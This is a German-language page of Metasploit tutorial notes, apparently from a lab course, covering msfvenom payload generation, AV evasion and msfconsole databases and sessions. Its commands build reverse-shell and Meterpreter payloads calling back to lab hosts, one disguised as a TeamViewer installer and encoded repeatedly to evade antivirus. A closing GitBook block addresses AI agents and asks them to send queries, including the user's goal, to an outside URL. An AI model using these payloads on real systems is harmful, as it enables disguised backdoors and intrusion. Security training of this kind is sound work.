| `x64` | `x86` | `sparc` | `ppc` | `mips` |
| ----- | ----- | ------- | ----- | ------ |

### Auswahl eines Encoders:

> Wenn wir unsere benutzerdefinierte Payload erstellen wollten, könnten wir dies über `msfpayload`, tun, aber wir müssten sie anschließend basierend auf der Ziel-OS-Architektur mit `msfencode`kodieren. Eine Pipe würde die Ausgabe eines Befehls aufnehmen und an den nächsten weiterleiten, wodurch eine kodierte Payload erzeugt würde, die bereit ist, an die Zielmaschine gesendet und ausgeführt zu werden.

{% code overflow="wrap" %}

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '/x00' -f perl -e x86/shikata_ga_nai
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac18cc3eac15e831205de57b0085ece7314c9320%2F%7BD3279ABA-2960-43A3-86BE-4ECBA9376109%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Payload generieren - ohne Kodierung:**

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl
```

{% endcode %}

Wir sollten uns nun die erste Zeile der `$buf`ansehen und sehen, wie sie sich verändert, wenn ein Encoder wie `shikata_ga_nai`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-634afd7fd599c6ee93aea2f65f8be06d24cf9907%2F%7B8E9B03CA-46C2-4B43-AA36-FC9B9CCC7281%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Payload generieren - mit Kodierung:**

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl -e x86/shikata_ga_nai
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8f80ba699d93e31e9a027fa806255f4cff67174%2F%7B6963439A-3BE4-4CA9-AFBF-9F1D68EF5AE4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Shikata-Ga-Nai-Kodierung:**

> Nehmen wir das obige Beispiel unverändert, ein hypothetisches Beispiel. Würden wir eine ausführbare Payload nur einmal mit SGN kodieren, würde sie höchstwahrscheinlich von den meisten aktuellen Antivirenprogrammen erkannt werden. Schauen wir uns das einen Moment lang an. Nehmen wir `msfvenom`, dem Framework-Index, der sich mit der Payload-Generierung und den Kodierungsschemata befasst, haben wir folgenden Eintrag:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7987bb912d2c28575c83fe8658fe350860d054e%2F%7B9D2F800E-06E5-46F0-B550-1CAB0EE070BB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Dadurch wird eine Payload im `exe`Format TeamViewerInstall.exe erzeugt, die auf Prozessoren mit x86-Architektur für die Windows-Plattform ausgeführt werden soll, mit einer versteckten Reverse-TCP-Meterpreter-Shell-Payload, die einmal mit dem Shikata-Ga-Nai-Schema kodiert wurde. Nehmen wir das Ergebnis und laden wir es auf VirusTotal hoch.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f67ce1978e736431065d695d90d5376c039d81ef%2Fimage%20(1075).png?alt=media" alt=""><figcaption></figcaption></figure>

Eine bessere Option wäre es, zu versuchen, sie durch mehrere Durchläufe desselben Kodierungsschemas auszuführen:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672816123d8b92b1f5adb9d7bdca4b45e550130d%2Fimage%20(1076).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Wie wir sehen können, reicht dies immer noch nicht aus, um Antivirenprogramme zu umgehen. Es gibt eine große Anzahl von Produkten, die die Payload weiterhin erkennen. Alternativ bietet Metasploit ein Tool namens `msf-virustotal`das wir mit einem API-Schlüssel verwenden können, um unsere Payloads zu analysieren. Dies erfordert jedoch eine kostenlose Registrierung bei VirusTotal.

### **VirusTotal:**

```shell-session
jord4n@htb[/htb]$ msf-virustotal -k <API key> -f TeamViewerInstall.exe

[*] Verwendeter API-Schlüssel: <API key>
[*] Bitte warten, während ich TeamViewerInstall.exe hochlade...
[*] VirusTotal: Scan-Anfrage erfolgreich in die Warteschlange gestellt, kommen Sie später für den Bericht zurück
[*] Beispiel-MD5-Hash    : 4f54cc46e2f55be168cc6114b74a3130
[*] Beispiel-SHA1-Hash   : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] Beispiel-SHA256-Hash : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] AnalySELINK: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] Ich fordere den Bericht an...
[*] Code -2 empfangen. Warte weitere 60 Sekunden...
[*] Code -2 empfangen. Warte weitere 60 Sekunden...
[*] Code -2 empfangen. Warte weitere 60 Sekunden...
[*] Code -2 empfangen. Warte weitere 60 Sekunden...
[*] Code -2 empfangen. Warte weitere 60 Sekunden...
[*] Code -2 empfangen. Warte weitere 60 Sekunden...
[*] Analysebericht: TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================

 Antivirenprogramm             Erkannt  Version                                                         Ergebnis                                                     Aktualisierung
 ---------             --------  -------                                                         ------                                                     ------
 ALYac                 true      1.1.3.1                                                         Trojan.CryptZ.Gen                                          20220505
 APEX                  true      6.288                                                           Schädlich                                                  20220504
 AVG                   true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Acronis               true      1.2.0.108                                                       verdächtig                                                 20220426
 Ad-Aware              true      3.0.21.193                                                      Trojan.CryptZ.Gen                                          20220505
 AhnLab-V3             true      3.21.3.10230                                                    Trojan/Win32.Shell.R1283                                   20220505
 Alibaba               false     0.3.0.5                                                                                                                    20190527
 Antiy-AVL             false     3.0                                                                                                                        20220505
 Arcabit               true      1.0.0.889                                                       Trojan.CryptZ.Gen                                          20220505
 Avast                 true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Avira                 true      8.3.3.14                                                        TR/Patched.Gen2                                            20220505
 Baidu                 false     1.0.0.2                                                                                                                    20190318
 BitDefender           true      7.2                                                             Trojan.CryptZ.Gen                                          20220505
 BitDefenderTheta      true      7.2.37796.0                                                     Gen:NN.ZexaF.34638.eq1@aC@Q!ici                            20220428
 Bkav                  true      1.3.0.9899                                                      W32.FamVT.RorenNHc.Trojan                                  20220505
 CAT-QuickHeal         true      14.00                                                           Trojan.Swrort.A                                            20220505
 CMC                   false     2.10.2019.1                                                                                                                20211026
 ClamAV                true      0.105.0.0                                                       Win.Trojan.MSShellcode-6360728-0                           20220505
 Comodo                true      34592                                                           TrojWare.Win32.Rozena.A@4jwdqr                             20220505
 CrowdStrike           true      1.0                                                             win/malicious_confidence_100% (D)                          20220418
 Cylance               true      2.3.1.101                                                       Unsicher                                                   20220505
 Cynet                 true      4.0.0.27                                                        Schädlich (Punktzahl: 100)                                     20220505
 Cyren                 true      6.5.1.2                                                         W32/Swrort.A.gen!Eldorado                                  20220505
 DrWeb                 true      7.0.56.4040                                                     Trojan.Swrort.1                                            20220505
 ESET-NOD32            true      25218                                                           eine Variante von Win32/Rozena.AA                               20220505
 Elastic               true      4.0.36                                                          schädlich (hohe Zuversicht)                                20220503
 Emsisoft              true      2021.5.0.7597                                                   Trojan.CryptZ.Gen (B)                                      20220505
 F-Secure              false     18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t                                                             20220505
 FireEye               true      35.24.1.0                                                       Generic.mg.4f54cc46e2f55be1                                20220505
 Fortinet              true      6.2.142.0                                                       MalwThreat!0971IV                                          20220505
 GData                 true      A:25.32960B:27.27244                                            Trojan.CryptZ.Gen                                          20220505
 Gridinsoft            true      1.0.77.174                                                      Trojan.Win32.Swrort.zv!s2                                  20220505
 Ikarus                true      6.0.24.0                                                        Trojan.Win32.Swrort                                        20220505
 Jiangmin              false     16.0.100                                                                                                                   20220504
 K7AntiVirus           true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 K7GW                  true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 Kaspersky             true      21.0.1.45                                                       HEUR:Trojan.Win32.Generic                                  20220505
 Kingsoft              false     2017.9.26.565                                                                                                              20220505
 Lionic                false     7.5                                                                                                                        20220505
 MAX                   true      2019.9.16.1                                                     Schadsoftware (KI-Wert=89)                                      20220505
 Malwarebytes          true      4.2.2.27                                                        Trojan.Rozena                                              20220505
 MaxSecure             true      1.0.0.1                                                         Trojan.Malware.300983.susgen                               20220505
 McAfee                true      6.0.6.653                                                       Swrort.i                                                   20220505
 McAfee-GW-Edition     true      v2019.1.2+3728                                                  BehavesLike.Win32.Swrort.lh                                20220505
 MicroWorld-eScan      true      14.0.409.0                                                      Trojan.CryptZ.Gen                                          20220505
 Microsoft             true      1.1.19200.5                                                     Trojan:Win32/Meterpreter.A                                 20220505
 NANO-Antivirus        true      1.0.146.25588                                                   Virus.Win32.Gen-Crypt.ccnc                                 20220505
 Paloalto              false     0.9.0.1003                                                                                                                 20220505
 Panda                 false     4.6.4.2                                                                                                                    20220504
 Rising                true      25.0.0.27                                                       Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1)  20220505
 SUPERAntiSpyware      true      5.6.0.1032                                                      Trojan.Backdoor-Shell                                      20220430
 Sangfor               true      2.14.0.0                                                        Trojan.Win32.Save.a                                        20220415
 SentinelOne           true      22.2.1.2                                                        Statische KI - schädliche PE                                   20220330
 Sophos                true      1.4.1.0                                                         ML/PE-A + Mal/EncPk-ACE                                    20220505
 Symantec              true      1.17.0.0                                                        Packed.Generic.347                                         20220505
 TACHYON               false     2022-05-05.02                                                                                                              20220505
 Tencent               true      1.0.0.1                                                         Trojan.Win32.Cryptz.za                                     20220505
 TrendMicro            true      11.0.0.1006                                                     BKDR_SWRORT.SM                                             20220505
 TrendMicro-HouseCall  true      10.0.0.1040                                                     BKDR_SWRORT.SM                                             20220505
 VBA32                 false     5.0.0                                                                                                                      20220505
 ViRobot               true      2014.3.20.0                                                     Trojan.Win32.Elzob.Gen                                     20220504
 VirIT                 false     9.5.188                                                                                                                    20220504
 Webroot               false     1.0.0.403                                                                                                                  20220505
 Yandex                true      5.5.2.24                                                        Trojan.Rosena.Gen.1                                        20220428
 Zillya                false     2.0.0.4625                                                                                                                 20220505
 ZoneAlarm             true      1.0                                                             HEUR:Trojan.Win32.Generic                                  20220505
 Zoner                 false     2.2.2.0                                                                                                                    20220504
 tehtris               false     v0.1.2                                                                                                                     20220505
```

## Datenbanken:

{% hint style="info" %}
`Datenbanken`werden `msfconsole`verwendet, um Ihre Ergebnisse zu verfolgen. Es ist kein Wunder, dass bei der Bewertung noch komplexerer Maschinen, ganz zu schweigen von ganzen Netzwerken, die Dinge aufgrund der schieren Menge an Suchergebnissen, Einstiegspunkten, gefundenen Problemen, entdeckten Anmeldeinformationen usw. etwas verschwommen und kompliziert werden können. Hier kommen Datenbanken ins Spiel. `msfconsole` bietet integrierte Unterstützung für das PostgreSQL-Datenbanksystem. Damit haben wir direkten, schnellen und einfachen Zugriff auf Analyseergebnisse und zusätzlich die Möglichkeit, Ergebnisse in Verbindung mit Drittanbieter-Tools zu importieren und zu exportieren. Datenbankeinträge können außerdem verwendet werden, um die Einstellungen des Exploit-Moduls direkt mit bereits vorhandenen Ergebnissen zu konfigurieren.
{% endhint %}

### Einrichten der Datenbank

Zuerst müssen wir sicherstellen, dass der PostgreSQL-Server auf unserem Host-System läuft. Geben Sie dazu den folgenden Befehl ein:

**PostgreSQL-Status**

```bash
sudo service postgresql status
```

**PostgreSQL starten**

```bash
sudo systemctl start postgresql
```

**Datenbank starten**

```bash
sudo msfdb init
```

**Datenbankverbindung initialisiert**

```bash
sudo msfdb run
```

{% hint style="warning" %}
Wenn wir die Datenbank jedoch bereits konfiguriert haben und das Passwort für den MSF-Benutzernamen nicht ändern können, fahren Sie mit diesen Befehlen fort:
{% endhint %}

**Datenbank zurücksetzen**

```bash
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
```

### Die Datenbank verwenden

```bash
help database

Befehle des Datenbank-Backends
=========================

    Befehl           Beschreibung
    -------           -----------
    db_connect        Mit einer vorhandenen Datenbank verbinden
    db_disconnect     Von der aktuellen Datenbankinstanz trennen
    db_export         Eine Datei mit dem Inhalt der Datenbank exportieren
    db_import         Eine Scan-Ergebnisdatei importieren (der Dateityp wird automatisch erkannt)
    db_nmap           Führt nmap aus und zeichnet die Ausgabe automatisch auf
    db_rebuild_cache  Den in der Datenbank gespeicherten Modulkatalog neu aufbauen
    db_status         Den aktuellen Datenbankstatus anzeigen
    hosts             Alle Hosts in der Datenbank auflisten
    loot              Alle Beuteeinträge in der Datenbank auflisten
    notes             Alle Notizen in der Datenbank auflisten
    services          Alle Dienste in der Datenbank auflisten
    vulns             Alle Schwachstellen in der Datenbank auflisten
    workspace         Zwischen Datenbank-Arbeitsbereichen wechseln
```

Nachdem bestätigt wurde, dass die Datenbank korrekt verbunden ist, können wir unsere `Arbeitsbereiche`

#### Arbeitsbereiche:

Wir können uns vorstellen `Arbeitsbereiche`auf dieselbe Weise, wie wir über Projektdateien nachdenken würden. Wir können verschiedene Scan-Ergebnisse, Hosts und extrahierte Informationen nach IP, Subnetz, Netzwerk oder Domain trennen.

```bash
workspace -a Target_1

[*] Arbeitsbereich hinzugefügt: Target_1
[*] Arbeitsbereich: Target_1

msf6 > workspace Target_1

[*] Arbeitsbereich: Target_1

msf6 > workspace

  default
* Target_1
```

### Scan-Ergebnisse importieren

Als Nächstes nehmen wir an, dass wir eine `Nmap-Scan`Datei von einem Host in unseren Datenbank-Arbeitsbereich importieren möchten, um das Ziel besser zu verstehen

```bash
msf6 > db_import Target.xml

[*] 'Nmap XML'-Daten werden importiert
[*] Import: Analyse mit 'Nokogiri v1.10.9'
[*] Host 10.10.10.40 wird importiert
[*] ~/Target.xml erfolgreich importiert

msf6 > hosts

Hosts
=====

Adresse      mac  Name  os_name  os_flavor  os_sp  Zweck  Info  Kommentare
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             Unbekannt                    Gerät

msf6 > services

Dienste
========

Host         Port   Protokoll  Name          Status  Info
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  139    tcp    netbios-ssn   open   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  open   Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
10.10.10.40  49152  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49153  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49154  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49155  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49156  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49157  tcp    msrpc         open   Microsoft Windows RPC
```

### Nmap innerhalb von MSFconsole verwenden

Alternativ können wir Nmap direkt aus msfconsole verwenden! Um direkt von der Konsole aus zu scannen, ohne den Prozess in den Hintergrund zu verschieben oder ihn zu beenden, verwenden Sie den `db_nmap`Befehl.

```bash
db_nmap -sV -sS 10.10.10.8

[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 21:04 UTC
[*] Nmap: Nmap scan report for 10.10.10.8
[*] Nmap: Host ist erreichbar (0.016s Latenz).
[*] Nmap: Nicht angezeigt: 999 gefilterte Ports
[*] Nmap: PORT   STATE SERVICE VERSION
[*] Nmap: 80/TCP open  http    HttpFileServer httpd 2.3
[*] Nmap: Dienstinformationen: OS: Windows; CPE: cpe:/o:microsoft:windows
```

### Datensicherung

Nach dem Ende der Sitzung sollten Sie Ihre Daten sichern, falls mit dem PostgreSQL-Dienst etwas passiert. Verwenden Sie dazu den `db_export`Befehl.

```bash
db_export -h

Verwendung:
    db_export -f <format> [filename]
    Das Format kann eines der folgenden sein: xml, pwdump
```

#### Hosts:

Hosts können auch manuell als separate Einträge in dieser Tabelle hinzugefügt werden. Nachdem wir unsere benutzerdefinierten Hosts hinzugefügt haben, können wir auch das Tabellenformat und die Struktur organisieren, Kommentare hinzufügen, vorhandene Informationen bearbeiten und mehr.

```bash
hosts -h

Verwendung: hosts [ options ] [addr1 addr2 ...]

OPTIONEN:
  -a,--add          Hosts hinzufügen statt zu suchen
  -d,--delete       Hosts löschen statt zu suchen
  -c <col1,col2>    Nur die angegebenen Spalten anzeigen (siehe Liste unten)
  -C <col1,col2>    Nur die angegebenen Spalten bis zum nächsten Neustart anzeigen (siehe Liste unten)
  -h,--help         Diese Hilfsinformationen anzeigen
  -u,--up           Nur Hosts anzeigen, die aktiv sind
  -o <file>         Ausgabe in einer Datei im CSV-Format speichern
  -O <column>       Zeilen nach der angegebenen Spaltennummer sortieren
  -R,--rhosts       RHOSTS anhand der Suchergebnisse festlegen
  -S,--search       Zeichenfolge zum Filtern suchen
  -i,--info         Informationen eines Hosts ändern
  -n,--name         Namen eines Hosts ändern
  -m,--comment      Kommentar eines Hosts ändern
  -t,--tag          Ein Tag zu einem Bereich von Hosts hinzufügen oder angeben
```

#### Dienste Die `Dienste`Der Befehl funktioniert auf dieselbe Weise wie der vorherige. Er enthält eine Tabelle mit Beschreibungen und Informationen zu den während Scans oder Interaktionen entdeckten Diensten. Ähnlich wie beim obigen Befehl sind die Einträge hier stark anpassbar.

```bash
services -h

Verwendung: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          Dienste hinzufügen statt zu suchen
  -d,--delete       Dienste löschen statt zu suchen
  -c <col1,col2>    Nur die angegebenen Spalten anzeigen
  -h,--help         Diese Hilfsinformationen anzeigen
  -s <name>         Name des hinzuzufügenden Dienstes
  -p <port>         Nach einer Liste von Ports suchen
  -r <protocol>     Protokolltyp des hinzuzufügenden Dienstes [tcp|udp]
  -u,--up           Nur Dienste anzeigen, die aktiv sind
  -o <file>         Ausgabe in einer Datei im csv-Format speichern
  -O <column>       Zeilen nach der angegebenen Spaltennummer sortieren
  -R,--rhosts       RHOSTS anhand der Suchergebnisse festlegen
  -S,--search       Zeichenfolge zum Filtern suchen
  -U,--update       Daten für einen vorhandenen Dienst aktualisieren
```

#### Anmeldeinformationen

Das `creds`Der Befehl ermöglicht es Ihnen, die während Ihrer Interaktionen mit dem Zielhost gesammelten Anmeldeinformationen anzuzeigen. Wir können Anmeldeinformationen auch manuell hinzufügen, vorhandene Anmeldeinformationen mit Portangaben abgleichen, Beschreibungen hinzufügen usw.

## Sitzungen:

### Sitzungen

> MSFconsole kann mehrere Module gleichzeitig verwalten. Dies ist einer der vielen Gründe, warum es dem Benutzer so viel Flexibilität bietet. Dies geschieht mithilfe von `Sitzungen`, wodurch dedizierte Steuerschnittstellen für alle Ihre bereitgestellten Module erstellt werden.
>
> Sobald mehrere Sitzungen erstellt wurden, können wir zwischen ihnen wechseln und ein anderes Modul mit einer der Hintergrundsitzungen verknüpfen, um es auszuführen oder in Aufgaben umzuwandeln. Beachten Sie, dass eine Sitzung, sobald sie in den Hintergrund verschoben wurde, weiterläuft und unsere Verbindung zum Zielhost bestehen bleibt. Sitzungen können jedoch beendet werden, wenn während der Ausführung der Payload etwas schiefgeht, wodurch der Kommunikationskanal unterbrochen wird.

**Aktive Sitzungen auflisten**

Wir können den `sessions`Befehl, um unsere aktuell aktiven Sitzungen anzuzeigen.

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

Aktive Sitzungen
===============

  ID  Name  Typ                     Informationen                 Verbindung
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY/SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

**Mit einer Sitzung interagieren**

Sie können den `sessions -i [no.]`Befehl, um eine bestimmte Sitzung zu öffnen.

```shell-session
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Interaktion mit 1 wird gestartet...

meterpreter >
```

### Alle Notizen

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/de/hacking-tools/exploitation/metasploit/metasploit-enumeration-services.md">Service-Enumeration mit Metasploit</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/hacking-tools/exploitation/metasploit.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
